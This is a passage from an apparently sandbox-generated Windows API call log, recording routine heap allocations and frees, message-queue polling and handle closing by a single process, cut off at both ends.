Size=0x8) returned 0xeafab8 [0170.171] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xefe7b8 [0170.171] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10781d0 [0170.171] GetLastError () returned 0x12 [0170.171] SetLastError (dwErrCode=0x12) [0170.171] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10781d0 | out: hHeap=0xe80000) returned 1 [0170.172] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xefe7b8 | out: hHeap=0xe80000) returned 1 [0170.172] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafab8 | out: hHeap=0xe80000) returned 1 [0170.172] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafc18 | out: hHeap=0xe80000) returned 1 [0170.172] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10780f8 | out: hHeap=0xe80000) returned 1 [0170.172] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeecb50 [0170.172] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.173] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xebabb0 [0170.173] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078260 [0170.173] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafb98 [0170.173] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafae8 [0170.173] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafae8 | out: hHeap=0xe80000) returned 1 [0170.173] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x10781a0 [0170.173] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafb98 | out: hHeap=0xe80000) returned 1 [0170.173] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10781a0 | out: hHeap=0xe80000) returned 1 [0170.173] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078260 | out: hHeap=0xe80000) returned 1 [0170.174] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xebabb0 | out: hHeap=0xe80000) returned 1 [0170.174] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.174] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.174] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba980 [0170.174] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078230 [0170.174] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafae8 [0170.174] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafc08 [0170.174] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafc08 | out: hHeap=0xe80000) returned 1 [0170.174] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078068 [0170.174] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafae8 | out: hHeap=0xe80000) returned 1 [0170.174] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078068 | out: hHeap=0xe80000) returned 1 [0170.174] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078230 | out: hHeap=0xe80000) returned 1 [0170.175] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba980 | out: hHeap=0xe80000) returned 1 [0170.175] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.175] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.175] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xebad68 [0170.175] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078098 [0170.175] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafbd8 [0170.175] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa58 [0170.175] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa58 | out: hHeap=0xe80000) returned 1 [0170.175] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafbd8 | out: hHeap=0xe80000) returned 1 [0170.175] CloseHandle (hObject=0x2c4) returned 1 [0170.175] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077c30 | out: hHeap=0xe80000) returned 1 [0170.175] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf4a8 | out: hHeap=0xe80000) returned 1 [0170.175] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x110c400 | out: hHeap=0xe80000) returned 1 [0170.175] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec690 | out: hHeap=0xe80000) returned 1 [0170.175] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077b40 | out: hHeap=0xe80000) returned 1 [0170.175] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf958 | out: hHeap=0xe80000) returned 1 [0170.176] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba1d8 | out: hHeap=0xe80000) returned 1 [0170.176] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078098 | out: hHeap=0xe80000) returned 1 [0170.177] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xebad68 | out: hHeap=0xe80000) returned 1 [0170.177] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.177] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.177] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeba980 [0170.177] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1078098 [0170.177] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf948 [0170.177] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa08 [0170.177] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa08 | out: hHeap=0xe80000) returned 1 [0170.177] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf948 | out: hHeap=0xe80000) returned 1 [0170.177] CloseHandle (hObject=0x398) returned 1 [0170.178] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077c18 | out: hHeap=0xe80000) returned 1 [0170.178] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf898 | out: hHeap=0xe80000) returned 1 [0170.180] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x111c408 | out: hHeap=0xe80000) returned 1 [0170.183] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeeca50 | out: hHeap=0xe80000) returned 1 [0170.183] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077b70 | out: hHeap=0xe80000) returned 1 [0170.183] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf978 | out: hHeap=0xe80000) returned 1 [0170.184] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba520 | out: hHeap=0xe80000) returned 1 [0170.184] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078098 | out: hHeap=0xe80000) returned 1 [0170.184] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba980 | out: hHeap=0xe80000) returned 1 [0170.184] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.184] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeecb50 | out: hHeap=0xe80000) returned 1 [0170.185] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0170.185] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed2880 | out: hHeap=0xe80000) returned 1 [0170.185] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ce8 | out: hHeap=0xe80000) returned 1 [0170.185] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec2140 | out: hHeap=0xe80000) returned 1 [0170.185] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf288 | out: hHeap=0xe80000) returned 1 [0170.185] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9c88 | out: hHeap=0xe80000) returned 1 [0170.185] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077f18 | out: hHeap=0xe80000) returned 1 [0170.185] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec26b8 | out: hHeap=0xe80000) returned 1 [0170.186] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf888 | out: hHeap=0xe80000) returned 1 [0170.186] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba4d0 | out: hHeap=0xe80000) returned 1 [0170.186] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076910 | out: hHeap=0xe80000) returned 1 [0170.186] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a48 | out: hHeap=0xe80000) returned 1 [0170.186] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768c8 | out: hHeap=0xe80000) returned 1 [0170.186] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3c8 | out: hHeap=0xe80000) returned 1 [0170.186] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec14b0 | out: hHeap=0xe80000) returned 1 [0170.187] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d00 | out: hHeap=0xe80000) returned 1 [0170.187] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c40 | out: hHeap=0xe80000) returned 1 [0170.187] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0170.187] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec17d0 | out: hHeap=0xe80000) returned 1 [0170.202] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x35ab020 | out: hHeap=0xe80000) returned 1 [0170.269] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf988 | out: hHeap=0xe80000) returned 1 [0170.269] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077ba0 | out: hHeap=0xe80000) returned 1 [0170.269] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077a38 | out: hHeap=0xe80000) returned 1 [0170.269] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf8f8 | out: hHeap=0xe80000) returned 1 [0170.269] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba4f8 | out: hHeap=0xe80000) returned 1 [0170.270] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c10 | out: hHeap=0xe80000) returned 1 [0170.270] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769b8 | out: hHeap=0xe80000) returned 1 [0170.270] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076928 | out: hHeap=0xe80000) returned 1 [0170.270] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf398 | out: hHeap=0xe80000) returned 1 [0170.270] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1640 | out: hHeap=0xe80000) returned 1 [0170.270] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b08 | out: hHeap=0xe80000) returned 1 [0170.270] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec2610 | out: hHeap=0xe80000) returned 1 [0170.270] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0170.271] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9e68 | out: hHeap=0xe80000) returned 1 [0170.271] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed0ce8 | out: hHeap=0xe80000) returned 1 [0170.271] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf388 | out: hHeap=0xe80000) returned 1 [0170.271] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d78 | out: hHeap=0xe80000) returned 1 [0170.271] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b98 | out: hHeap=0xe80000) returned 1 [0170.271] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9b98 | out: hHeap=0xe80000) returned 1 [0170.271] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf268 | out: hHeap=0xe80000) returned 1 [0170.271] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9eb8 | out: hHeap=0xe80000) returned 1 [0170.271] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10779f0 | out: hHeap=0xe80000) returned 1 [0170.271] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077b58 | out: hHeap=0xe80000) returned 1 [0170.271] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf508 | out: hHeap=0xe80000) returned 1 [0170.272] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba138 | out: hHeap=0xe80000) returned 1 [0170.272] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077f48 | out: hHeap=0xe80000) returned 1 [0170.272] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafba8 | out: hHeap=0xe80000) returned 1 [0170.272] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077eb8 | out: hHeap=0xe80000) returned 1 [0170.272] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077e10 | out: hHeap=0xe80000) returned 1 [0170.272] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077cd8 | out: hHeap=0xe80000) returned 1 [0170.272] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafb78 | out: hHeap=0xe80000) returned 1 [0170.272] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077d80 | out: hHeap=0xe80000) returned 1 [0170.272] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077f78 | out: hHeap=0xe80000) returned 1 [0170.272] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077cf0 | out: hHeap=0xe80000) returned 1 [0170.272] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10780e0 | out: hHeap=0xe80000) returned 1 [0170.272] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077ea0 | out: hHeap=0xe80000) returned 1 [0170.272] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xee4fe8 | out: hHeap=0xe80000) returned 1 [0170.272] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafb28 | out: hHeap=0xe80000) returned 1 [0170.272] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077df8 | out: hHeap=0xe80000) returned 1 [0170.273] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xebab10 | out: hHeap=0xe80000) returned 1 [0170.273] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf938 | out: hHeap=0xe80000) returned 1 [0170.273] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xebadb8 | out: hHeap=0xe80000) returned 1 [0170.273] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d90 | out: hHeap=0xe80000) returned 1 [0170.273] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c88 | out: hHeap=0xe80000) returned 1 [0170.273] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf368 | out: hHeap=0xe80000) returned 1 [0170.273] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1500 | out: hHeap=0xe80000) returned 1 [0170.273] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076aa8 | out: hHeap=0xe80000) returned 1 [0170.273] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a90 | out: hHeap=0xe80000) returned 1 [0170.273] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a30 | out: hHeap=0xe80000) returned 1 [0170.273] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0170.274] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec14d8 | out: hHeap=0xe80000) returned 1 [0170.274] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077af8 | out: hHeap=0xe80000) returned 1 [0170.274] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba110 | out: hHeap=0xe80000) returned 1 [0170.274] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf438 | out: hHeap=0xe80000) returned 1 [0170.274] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9b48 | out: hHeap=0xe80000) returned 1 [0170.274] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c58 | out: hHeap=0xe80000) returned 1 [0170.274] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ac0 | out: hHeap=0xe80000) returned 1 [0170.274] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0170.274] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec17f8 | out: hHeap=0xe80000) returned 1 [0170.275] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed5c88 | out: hHeap=0xe80000) returned 1 [0170.275] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9f8 | out: hHeap=0xe80000) returned 1 [0170.275] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077b88 | out: hHeap=0xe80000) returned 1 [0170.275] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077a50 | out: hHeap=0xe80000) returned 1 [0170.275] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba7c8 | out: hHeap=0xe80000) returned 1 [0170.275] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf918 | out: hHeap=0xe80000) returned 1 [0170.275] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba688 | out: hHeap=0xe80000) returned 1 [0170.275] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10779c0 | out: hHeap=0xe80000) returned 1 [0170.276] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec24f8 | out: hHeap=0xe80000) returned 1 [0170.276] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0170.276] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba598 | out: hHeap=0xe80000) returned 1 [0170.276] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeffda8 | out: hHeap=0xe80000) returned 1 [0170.276] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0170.276] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077870 | out: hHeap=0xe80000) returned 1 [0170.277] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b80 | out: hHeap=0xe80000) returned 1 [0170.277] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076da8 | out: hHeap=0xe80000) returned 1 [0170.277] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2b8 | out: hHeap=0xe80000) returned 1 [0170.277] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9ee0 | out: hHeap=0xe80000) returned 1 [0170.277] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077b28 | out: hHeap=0xe80000) returned 1 [0170.277] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077b10 | out: hHeap=0xe80000) returned 1 [0170.277] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec2220 | out: hHeap=0xe80000) returned 1 [0170.277] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf498 | out: hHeap=0xe80000) returned 1 [0170.277] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba200 | out: hHeap=0xe80000) returned 1 [0170.277] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xefc430 | out: hHeap=0xe80000) returned 1 [0170.277] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf408 | out: hHeap=0xe80000) returned 1 [0170.277] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b68 | out: hHeap=0xe80000) returned 1 [0170.277] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c70 | out: hHeap=0xe80000) returned 1 [0170.277] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ca0 | out: hHeap=0xe80000) returned 1 [0170.277] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf358 | out: hHeap=0xe80000) returned 1 [0170.278] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9e40 | out: hHeap=0xe80000) returned 1 [0170.278] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077e58 | out: hHeap=0xe80000) returned 1 [0170.278] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077f30 | out: hHeap=0xe80000) returned 1 [0170.278] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077f00 | out: hHeap=0xe80000) returned 1 [0170.278] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf858 | out: hHeap=0xe80000) returned 1 [0170.278] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba458 | out: hHeap=0xe80000) returned 1 [0170.278] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077ca8 | out: hHeap=0xe80000) returned 1 [0170.278] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec24c0 | out: hHeap=0xe80000) returned 1 [0170.278] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3a8 | out: hHeap=0xe80000) returned 1 [0170.278] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9b20 | out: hHeap=0xe80000) returned 1 [0170.278] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077f60 | out: hHeap=0xe80000) returned 1 [0170.278] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077de0 | out: hHeap=0xe80000) returned 1 [0170.278] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077dc8 | out: hHeap=0xe80000) returned 1 [0170.278] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf928 | out: hHeap=0xe80000) returned 1 [0170.279] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba5e8 | out: hHeap=0xe80000) returned 1 [0170.279] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077cc0 | out: hHeap=0xe80000) returned 1 [0170.279] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec22c8 | out: hHeap=0xe80000) returned 1 [0170.279] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9a8 | out: hHeap=0xe80000) returned 1 [0170.279] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba6b0 | out: hHeap=0xe80000) returned 1 [0170.279] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077ed0 | out: hHeap=0xe80000) returned 1 [0170.280] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec25d8 | out: hHeap=0xe80000) returned 1 [0170.280] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf8b8 | out: hHeap=0xe80000) returned 1 [0170.280] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba8b8 | out: hHeap=0xe80000) returned 1 [0170.280] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078050 | out: hHeap=0xe80000) returned 1 [0170.280] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1077ff0 | out: hHeap=0xe80000) returned 1 [0170.280] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafb88 | out: hHeap=0xe80000) returned 1 [0170.280] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba958 | out: hHeap=0xe80000) returned 1 [0170.281] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768f8 | out: hHeap=0xe80000) returned 1 [0170.281] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3b8 | out: hHeap=0xe80000) returned 1 [0170.281] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf378 | out: hHeap=0xe80000) returned 1 [0170.281] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3f8 | out: hHeap=0xe80000) returned 1 [0170.281] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf418 | out: hHeap=0xe80000) returned 1 [0170.281] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1438 | out: hHeap=0xe80000) returned 1 [0170.281] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10769a0 | out: hHeap=0xe80000) returned 1 [0170.281] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076868 | out: hHeap=0xe80000) returned 1 [0170.281] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076a18 | out: hHeap=0xe80000) returned 1 [0170.281] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768e0 | out: hHeap=0xe80000) returned 1 [0170.281] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076880 | out: hHeap=0xe80000) returned 1 [0170.281] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076940 | out: hHeap=0xe80000) returned 1 [0170.281] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10768b0 | out: hHeap=0xe80000) returned 1 [0170.282] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1488 | out: hHeap=0xe80000) returned 1 [0170.282] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.282] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf268 [0170.282] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf268 | out: hHeap=0xe80000) returned 1 [0170.282] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec610 [0170.282] PeekMessageW (in: lpMsg=0xbdf9ec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf9ec) returned 0 [0170.282] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf2d8 [0170.282] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x40) returned 0xed2b50 [0170.282] CharUpperBuffW (in: 